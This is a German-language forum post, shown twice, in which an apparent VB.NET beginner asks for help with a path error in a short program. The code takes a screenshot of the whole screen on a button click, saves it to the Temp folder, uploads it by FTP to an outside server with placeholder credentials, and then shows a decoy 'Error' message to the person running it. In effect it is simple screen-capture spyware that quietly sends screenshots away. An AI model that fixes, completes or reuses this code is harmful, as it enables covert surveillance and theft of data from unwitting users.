Hallo^^
Public Class Form1
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim Pic As New Bitmap(My.Computer.Screen.Bounds.Width, My.Computer.Screen.Bounds.Height)
Dim g As Graphics = Graphics.FromImage(Pic)
g.CopyFromScreen(0, 0, 0, 0, Pic.Size)
PictureBox1.Image = Pic
PictureBox1.Image.Save(My.Computer.FileSystem.SpecialDirectories.Temp & "\pic.bmp")
My.Computer.Network.UploadFile(My.Computer.FileSystem.SpecialDirectories.Temp & "\Pic.bmp", "ftp://xxx.kilu.de/", "xxx", "xxx")
MsgBox("Error")
End Sub
End Class
Gibt mir ein Special Error , O.o
Der meint ich soll einen richtigen Pfad eingeben :O
Hilfe^^
Mache seid 10 minuten VB ,habe das tut bei youtube endeckt^^
Public Class Form1
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim Pic As New Bitmap(My.Computer.Screen.Bounds.Width, My.Computer.Screen.Bounds.Height)
Dim g As Graphics = Graphics.FromImage(Pic)
g.CopyFromScreen(0, 0, 0, 0, Pic.Size)
PictureBox1.Image = Pic
PictureBox1.Image.Save(My.Computer.FileSystem.SpecialDirectories.Temp & "\pic.bmp")
My.Computer.Network.UploadFile(My.Computer.FileSystem.SpecialDirectories.Temp & "\Pic.bmp", "ftp://xxx.kilu.de/", "xxx", "xxx")
MsgBox("Error")
End Sub
End Class
Gibt mir ein Special Error , O.o
Der meint ich soll einen richtigen Pfad eingeben :O
Hilfe^^
Mache seid 10 minuten VB ,habe das tut bei youtube endeckt^^